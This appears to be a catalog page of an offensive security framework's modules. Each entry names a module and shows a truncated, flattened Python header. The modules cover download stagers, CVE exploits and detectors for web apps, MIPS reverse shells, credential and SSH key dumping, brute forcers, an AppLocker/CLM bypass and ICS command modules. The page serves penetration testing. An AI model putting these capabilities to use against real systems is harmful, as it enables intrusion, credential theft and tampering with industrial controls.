Unix Download Stager, curl | bash

curl -fsSL stagerurl | bash — no Python required on target !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.c2.downloadstagers import buildcurlpipebash, buildstagerurl class ModulePayload: info = "name": "Unix Download Stager, curl | bash", "description": "curl -fsSL...

MSSQL BIND Session

BIND payload for listeners/database/mssql !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.c2.databasebind import buildbindsessionhint class ModulePayload: info = "name": "MSSQL BIND Session", "description": "BIND payload for listeners/database/mssql", "category":...

Redis BIND Session

BIND payload for listeners/database/redis !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.c2.databasebind import buildbindsessionhint class ModulePayload: info = "name": "Redis BIND Session", "description": "BIND payload for listeners/database/redis", "category":...

Windows Download Stager, bitsadmin

bitsadmin transfer + execute hosted EXE/stager legacy Windows !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.c2.downloadstagers import buildbitsadmindownloadexec, buildstagerurl class ModulePayload: info = "name": "Windows Download Stager, bitsadmin", "description":...

tRPC / OpenAPI Procedure Enumeration

Probes /api/trpc for common procedures, batch amplification, and exposed openapi.json routes. Extracts dotted procedure names from JS bundles. !/usr/bin/env python3 -- coding: utf-8 -- """Enumerate tRPC procedures and related OpenAPI routes on Next.js apps.""" from kittysploit import from...

Ollama CVE-2026-7482 GGUF OOB Read Detect

Detects CVE-2026-7482 in ollama/ollama 0.17.1: uploads a malicious GGUF declaring a 1024×1024 F16 tensor in a 512-byte file and triggers POST /api/create with quantize=Q80. Vulnerable servers return "status":"success" and materialize a 1.1 MB Q80 layer from heap OOB reads; patched servers reject...

Gogs PutContents Symlink RCE (CVE-2025-8110)

Exploits CVE-2025-8110 in Gogs .git/config and a PutContents write poisons core.sshCommand for RCE on the following git push. Delivers the configured framework payload reversetcp session by default. Requires an account that can create a repository and the git client binary on the attacker host...

Open Notebook CVE-2026-33589 LFI Detect

Detects CVE-2026-33589 in Open Notebook = 1.8.3: POST /api/sources/json accepts type=upload with an unsanitized filepath, allowing arbitrary file read when OPENNOTEBOOKPASSWORD is unset. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Open Notebook CVE-2026-33589 unauthenticated LFI via...

OpenCTI Auth Bypass (CVE-2026-27960)

CVE-2026-27960 in OpenCTI 6.6.0 through 6.9.12: authenticateUserByTokenOrUserId looks up users by bearer token without verifying it equals apitoken. The compile-time admin internalid 88ec0c6a-13ce-5e39-b486-354fe4a7084f authenticates as admin on every deployment. !/usr/bin/env python3 -- coding:...

SiYuan MCP Auth Bypass (CVE-2026-66012)

CVE-2026-66012 in SiYuan kernel 3.7.0 = v 3.7.2 fixed 3.7.2: POST /mcp on the Publish port checks auth presence only and accepts RoleReader. With anonymous Publish mode Conf.Publish.Enable=true, Conf.Publish.Auth.Enable=false all MCP tools including file read/write reach the workspace without...

DbGate Script Runner RCE (CVE-2026-47668)

Exploits CVE-2026-47668 in DbGate ;// runs arbitrary Node.js as root. Anonymous POST /auth/login often yields a JWT. Delivers the configured framework payload reversetcp by default; set payload nopayload to capture verifycmd output via out.txt under /runners/data//. !/usr/bin/env python3 -- codin...

WordPress Core CVE-2026-64638 XSS2Shell Detect

Detects CVE-2026-64638 in WordPress Core 4.7.0 through 7.0.2: pre-auth reflected XSS via striptags/KSES parser differential on /wp-login.php. Fixed in 7.0.3 and backports. !/usr/bin/env python3 -- coding: utf-8 -- """Detect WordPress Core CVE-2026-64638 XSS2Shell parser differential.""" from...

LiteLLM CVE-2026-42208 Blind SQLi Detect

Detects CVE-2026-42208 in BerriAI LiteLLM 1.81.16 = version 1.83.7: failed-auth logging passes the raw Authorization bearer into a virtual-key SQL lookup. Probes POST /v1/chat/completions with x'-prefixed pgsleep payloads never sk- and requires delay scaling plus a fast sk- control to rule out...

WordPress Core XSS2Shell RCE (CVE-2026-64638)

Exploits CVE-2026-64638 in WordPress Core 4.7.0 through 7.0.2: a striptags/KSES parser differential on /wp-login.php injects live DOM id=ajaxurl clobber. Default mode confirms the unauthenticated XSS primitive. With SERVE=true, hosts the full chain Application Password theft - REST - plugin uploa...

Prometheus CVE-2026-42151 Secret Disclosure Detect

Detects CVE-2026-42151 in Prometheus 2.48.0–3.5.2 and 3.6.0–3.11.2: OAuthConfig.ClientSecret was a plain Go string instead of configutil.Secret, so /api/v1/status/config and /-/config emit the real Azure AD clientsecret instead of redacting it as ''. !/usr/bin/env python3 -- coding: utf-8 --...

Prometheus Azure AD Secret Disclosure (CVE-2026-42151)

CVE-2026-42151 in Prometheus 2.48.0–3.5.2 and 3.6.0–3.11.2: OAuthConfig.ClientSecret was typed as a plain Go string instead of configutil.Secret. When Prometheus serializes its running config via /api/v1/status/config or /-/config, the real Azure AD clientsecret is emitted in plaintext instead of...

WordPress WP Maps Blind SQLi (CVE-2026-39492)

Exploits CVE-2026-39492 in WP Maps bool: , sigma, threshold, samplecount = self.module.wpmapsbaselineself.module.wpbase if samplecount 3.0: return False self.threshold = threshold return True def probeself, condition: str - float: self.requests += 1 payload = self.module.wpmapsifpayloadcondition,...

WordPress WP Maps CVE-2026-39492 Detect

Detects WP Maps wp-google-map-plugin = 4.9.1 vulnerable to CVE-2026-39492: unauthenticated time-based blind SQLi in wpgmpajaxcall via backtick-wrapped locationid bypassing escsql. Fixed in 4.9.2. !/usr/bin/env python3 -- coding: utf-8 -- """Detect WP Maps CVE-2026-39492 blind SQLi = 4.9.1.""" fro...

Gitea/Forgejo CVE-2026-60004 Diffpatch Detect

Detects Gitea or Forgejo instances potentially affected by CVE-2026-60004 unauthenticated/authenticated diffpatch git hook RCE via bare-clone add/add conflict on hooks/post-index-change. Fixed in Gitea 1.27.1. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Gitea/Forgejo CVE-2026-60004...

Gitea/Forgejo Diffpatch Hook RCE (CVE-2026-60004)

Exploits CVE-2026-60004 in Gitea/Forgejo 1.27.1: register or use supplied credentials, create a repository, submit the same malicious diffpatch twice to trigger an add/add conflict that writes hooks/post-index-change, then execute a command via the auto-fired git hook. !/usr/bin/env python3 --...

Offline VM Credential Extract

Upload and run an offline VM credential extractor on a Linux session hypervisor/NAS against memory snapshots or virtual disks — NTLM, WDigest, Kerberos, SAM/LSA/DCC2, NTDS, DPAPI, BitLocker FVEK — without exfiltrating full disk images. Compatible with VMkatz-style CLIs. !/usr/bin/env python3 --...

Joomla Aimy Captcha-Less Form Guard CVE-2026-65883 Detect

Detects the Aimy Captcha-Less Form Guard plugin clfgd field on Joomla forms. Versions 18.0–20.0 are affected by CVE-2026-65883 unauthenticated PHP object injection via XOR'd clfgd → unserialize. Patched in 20.1. Detection only — no gadget upload. !/usr/bin/env python3 -- coding: utf-8 -- """Detec...

Livewire PowerGrid CVE-2026-65971 sortDirection SQLi

Confirms/exploits CVE-2026-65971: SQL injection in power-components/livewire-powergrid = 6.0.0, 0 else self.delay 0.6 self.baseline = 0.0 self.requests = 0 def calibrateself - bool: self.baseline, = self.module.update"", "asc" self.requests += 1 return self.true"1=1" and not self.true"1=2" def...

ONVIF Events Probe

Query ONVIF Events GetEventProperties and extract topic hints. Uses an ONVIF session or rhost. !/usr/bin/env python3 -- coding: utf-8 -- """Probe ONVIF Events service GetEventProperties / topic list.""" from kittysploit import from lib.protocols.onvif.session import OnvifSessionMixin import json...

PostgreSQL login bruteforce

Attempts common and wordlist-based PostgreSQL credentials. Use only on authorized targets — rate-limited by default. !/usr/bin/env python3 -- coding: utf-8 -- """ PostgreSQL login bruteforce — tests username/password combinations. """ from future import annotations import itertools import os impo...

Deploy MQTT Reverse Agent

Generate and optionally execute a stdlib Python MQTT reverse agent from an existing shell session. Pairs with listeners/iot/reversemqttshell. !/usr/bin/env python3 -- coding: utf-8 -- """Post module: package/show MQTT reverse agent for delivery from a shell session.""" from kittysploit import fro...

MQTT Topic Dump

Subscribe to broker topics default and $SYS/ for a short window and dump messages seen — including retained. Works on MQTT sessions or with rhost/rport. !/usr/bin/env python3 -- coding: utf-8 -- """Dump MQTT topics / retained messages from a broker session or direct connect.""" from kittysploit...

OpenWrt / BusyBox Dump Dropbear Keys

Locate and dump Dropbear host keys, authorizedkeys, and related SSH material on embedded Linux / OpenWrt targets. !/usr/bin/env python3 -- coding: utf-8 -- """Collect Dropbear / SSH keys from an OpenWrt / BusyBox shell.""" from kittysploit import from lib.post.linux.session import LinuxSessionMix...

MySQL TLS Capability

Reports whether the MySQL/MariaDB handshake advertises SSL/TLS CLIENTSSL. Flags servers that do not support TLS. !/usr/bin/env python3 -- coding: utf-8 -- """Report MySQL/MariaDB TLS capability from the server handshake.""" from kittysploit import from lib.protocols.tcp.tcpscannerclient import...

SSH login bruteforce

Attempts common and wordlist-based SSH password credentials. Prefer running after scanner/ssh/sshauthmethods when password or keyboard-interactive auth is offered. Registers an SSH session on success. Authorized targets only. !/usr/bin/env python3 -- coding: utf-8 -- """ SSH login bruteforce —...

MIPS LE reverse TCP shell (raw)

MIPS little-endian 32-bit connect-back stager: socket, connect, dup2 x3, execve //bin/sh. Common on OpenWrt/MIPSEL routers. Output is raw bytes not a command string. !/usr/bin/env python3 -- coding: utf-8 -- Linux/MIPS LE reverse TCP + dup2 + execve"//bin/sh" — based on public shellcode by rigan...

IEC 61850 MMS directory dump

MMS Identify plus GetNameList for domains and named variables session preferred. !/usr/bin/env python3 -- coding: utf-8 -- """IEC 61850 MMS directory dump — Identify + GetNameList domains/variables.""" from kittysploit import from lib.protocols.ics.constants import ICSPROTOCOLPORTS from...

IEC 61850 MMS identify

MMS Identify request — extract vendor/model/revision strings session preferred !/usr/bin/env python3 -- coding: utf-8 -- """IEC 61850 MMS Identify via session or direct target.""" from kittysploit import from lib.protocols.ics.constants import ICSPROTOCOLPORTS from...

BACnet/IP Client

Discovers a BACnet/IP device Who-Is and creates an interactive BACnet shell session !/usr/bin/env python3 -- coding: utf-8 -- """BACnet/IP bind listener — opens a BACnet session for interactive device access.""" from kittysploit import from lib.protocols.ics.bacnetclient import BacnetClient from...

MIPS BE reverse TCP shell (raw)

MIPS big-endian 32-bit connect-back stager: socket, connect, dup2 x3, execve //bin/sh. Typical on older big-endian routers. Output is raw bytes not a command string. !/usr/bin/env python3 -- coding: utf-8 -- Linux/MIPS BE reverse TCP + dup2 + execve"//bin/sh" — based on public shellcode by rigan...

CoAP Resource Enum

Enumerate CoAP resources from .well-known/core and optionally GET discovered paths. Uses a CoAP session or rhost. !/usr/bin/env python3 -- coding: utf-8 -- """Enumerate CoAP resources via .well-known/core and optional path probes.""" from kittysploit import from lib.protocols.coap.client import...

Matter / CHIP Detection

Discovers Matter commissionable matterc.udp and operational matter.tcp nodes via mDNS, parses TXT VP/DT/DN/CM, and can probe UDP/5540 reachability. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Matter / CHIP nodes via mDNS and optional UDP/5540 probe.""" from kittysploit import from...

ONVIF Snapshot Grab

Authenticate to ONVIF Media service, resolve GetSnapshotUri for the first profile, and download a JPEG snapshot. Prefers an ONVIF session. !/usr/bin/env python3 -- coding: utf-8 -- """Fetch an ONVIF snapshot JPEG via GetSnapshotUri.""" from kittysploit import from lib.protocols.onvif.session impo...

Matter discover

Browse Matter commissionable/operational DNS-SD records and summarize vendor, device type, and commissioning mode session preferred. !/usr/bin/env python3 -- coding: utf-8 -- """Matter mDNS discovery via session or target.""" from kittysploit import from lib.protocols.matter.client import...

ONVIF PTZ Status

Query ONVIF PTZ GetStatus for a media profile pan/tilt/zoom. Uses an ONVIF session or rhost. !/usr/bin/env python3 -- coding: utf-8 -- """Read ONVIF PTZ status for the first or selected media profile.""" from kittysploit import from lib.protocols.onvif.session import OnvifSessionMixin import json...

IEC 60870-5-104 Client

Connects to an IEC 104 server and creates an interactive IEC 104 shell session !/usr/bin/env python3 -- coding: utf-8 -- """IEC 60870-5-104 bind listener — opens an IEC 104 session for interrogation.""" from kittysploit import from lib.protocols.ics.constants import ICSPROTOCOLPORTS from...

CoAP Resource Write

Send PUT, POST, or DELETE to a CoAP resource. Intrusive — use only on authorized lab targets. !/usr/bin/env python3 -- coding: utf-8 -- """Write CoAP resources via PUT/POST/DELETE lab / authorized testing.""" from kittysploit import from lib.protocols.coap.client import COAPPORT from...

IEC104 double command

Sends an IEC 60870-5-104 double command CDCNA1. Intrusive — otpolicy gated + confirm latch. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.protocols.ics.constants import ICSPROTOCOLPORTS from lib.protocols.ics.icsscannerclient import Icsscannerclient from...

RTSP stream probe

DESCRIBE → SETUP RTP/AVP/TCP interleaved → PLAY and drain a short sample to confirm media delivery session preferred. !/usr/bin/env python3 -- coding: utf-8 -- """RTSP interleaved stream probe — SETUP/PLAY and drain a few RTP bytes.""" from kittysploit import from lib.protocols.rtsp.client import...

OpenWrt / BusyBox Dump NVRAM UCI

Dump router configuration via nvram show, uci export, and common config paths /etc/config, /tmp/nvram. !/usr/bin/env python3 -- coding: utf-8 -- """Dump OpenWrt nvram / UCI configuration from an embedded shell.""" from kittysploit import from lib.post.linux.session import LinuxSessionMixin import...

CoAP Client

Connects to a CoAP/CoAPS UDP endpoint, probes .well-known/core, and creates an interactive CoAP shell session GET/POST/PUT/DELETE/Observe stream. !/usr/bin/env python3 -- coding: utf-8 -- """CoAP bind listener — opens an interactive CoAP session toward a device.""" from kittysploit import from...

Matter device inventory

Full Matter node inventory from DNS-SD TXT vendor/product, device type, commissioning window, discriminator with optional JSON export. !/usr/bin/env python3 -- coding: utf-8 -- """Matter device inventory dump JSON via session or target.""" from kittysploit import from lib.protocols.matter.client...

BLE UART pivot probe

Detect Nordic NUS and common UART-over-GATT profiles on a BLE session for interactive pivot uartexec / shell commands. !/usr/bin/env python3 -- coding: utf-8 -- """Probe BLE UART / Nordic NUS channels for shell pivot.""" from kittysploit import from lib.protocols.ble.blesessionmixin import...

Windows PowerShell CLM Bypass (TEMP redirect)

Bypass PowerShell Constrained Language Mode by launching a child powershell.exe with TEMP/TMP redirected to an AppLocker-allowed path default C:\Windows\Temp. PowerShell probes AppLocker script rules via a temp script; an allowed TEMP yields FullLanguage. !/usr/bin/env python3 -- coding: utf-8 --...

LDAP Query

Runs a raw LDAP filter and dumps matching attributes NetExec: nxc ldap -u -p --query 'sAMAccountName=user' ''. !/usr/bin/env python3 -- coding: utf-8 -- """Raw LDAP query NetExec: nxc ldap --query.""" from kittysploit import from lib.protocols.ldap.adclient import Adclient class ModuleAuxiliary,...